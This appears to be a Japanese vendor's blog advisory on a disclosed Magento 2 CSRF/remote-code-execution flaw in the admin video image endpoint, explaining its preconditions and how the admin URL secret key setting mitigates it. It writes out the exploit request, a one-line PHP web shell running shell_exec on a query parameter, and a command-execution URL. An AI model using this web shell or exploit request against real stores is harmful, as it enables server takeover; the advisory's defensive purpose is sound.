Magento2におけるCSRF脆弱性の報告について
この記事は公開から 1年以上が経過しています。現在の最新情報との整合性については弊社では一切の責任を負いかねます。
先週、TreatpostとDefenseCodeからMagento2に関する脆弱性がゼロデイとして公開されました。
この問題は、昨年11月にMagentoに報告されたものですが、一定期間脆弱性が放置されたために公開に踏み切ったという経緯があるようです。
ですが、Magento側はこの問題を深刻な問題とは捉えていないようです。
その理由についてご説明しましょう。
脆弱性の内容と発現する条件
脆弱性の内容
この脆弱性は、Magentoの管理画面にある、vimeoのビデオコンテンツの登録処理に存在するとされています。
例えば下記のようなURLに対してアクセスすると、次のようなエラーレスポンスが返ります。
http://192.168.1.10/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/? remote_image=https://i.vimeocdn.com/video/438193448_640.jpg
{"error":"Disallowed file type.","errorcode":0}
本来はこの時点で438193448_640.jpgというファイルはできないはずなのですが、値チェックが失敗したとしても、実際にはファイルが作成されてしまいます。
さて、この時点では大した問題がないように思われます。
では、以下のようなリクエストを行った場合どうでしょうか?
http://192.168.1.10/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/? remote_image=https://example.com/.hshell.php
なお、このファイルの中身には、下記のようなPHPスクリプトが書かれているとします。
<?php echo shell_exec($_GET['cmd']); ?>
このとき、前述の例と同じように値チェックエラーが起きて、処理は失敗したように見えますが、実際には.hshell.phpがサーバー上に作成され、下記のURLでアクセスができるようになります。
http://192.168.1.10/magento2/pub/media/tmp/catalog/product/_/h/.hsell.php
さらにこのURLに以下のように引数を与えると、
http://192.168.1.10/magento2/pub/media/tmp/catalog/product/_/h/.hsell.php?cmd=whoami
というように、Linuxコマンドを任意に実行できるようになります。
この脆弱性は、CSRF(クロスサイトリクエストフォージェリ)とRCE(リモートコード実行)と呼ばれるもので、たしかに危険度はかなり高く、早急な対策が求められます。
発現する条件
ただし、この脆弱性については、発現する条件があります。
- Magentoの管理画面URLにシークレットキーがない
- 商品情報を編集する権限を持っている管理ユーザーに、攻撃用のURLをアクセスさせる必要がある
- pub/media/tmpに対するアクセス制限が行われていない
上記の条件のうち、1と2を満たしていることが必要で、3は攻撃が成功した後に必要となります。
Magentoからのアドバイス
さて、Magentoがなぜこの脆弱性を重要視しなかったかというと、「発現する条件」の中にある条件1がMagentoのベストプラクティスから外れているからです。
かつてMagento1系の初期バージョンで、今回と似たような脆弱性がMagentoには存在し、対策が行われました。
その際に、Magentoの管理画面URL全てに対し、CSRF対策として「シークレットキー」が付与されるようになりました。
このシークレットキーは、1回しか使えない値となっていて、類推することが難しい長さと複雑さを持っています。これをURLに追加することによって、攻撃者が管理画面の正確なURLを推測しにくいようにしているわけです。
ところが今回の脆弱性を検証するための例をみると、どのURLにもシークレットキーが含まれていません。
これは意図的にシークレットキーを無効にした上で検証を行ったと考えるのが妥当でしょう。
シークレットキーを有効にするには
シークレットキーは標準では有効になっています。意図的に無効化しない限りはそのままで構いません。
もし、設定がどうなっているかご不安な場合は、以下の手順で確認・変更することができます。
- Magentoの管理画面にログインします。
- メニューから 店舗>設定>高度な設定>管理者>セキュリティ にアクセスします。
- 「URLにシークレットキーを付与」を「Yes」にします。
- 設定を保存します。
本来であれば標準で有効化されている設定ですから、通常は慌てることはありません。
今後の対応について
Magentoは今後のアップデートで、本件のような問題が起きないよう取り組むとしています。
もし、脆弱性らしきものを見つけた場合は、弊社にお知らせ頂けますと、Magentoのセキュリティ担当に確認を取ることが可能です。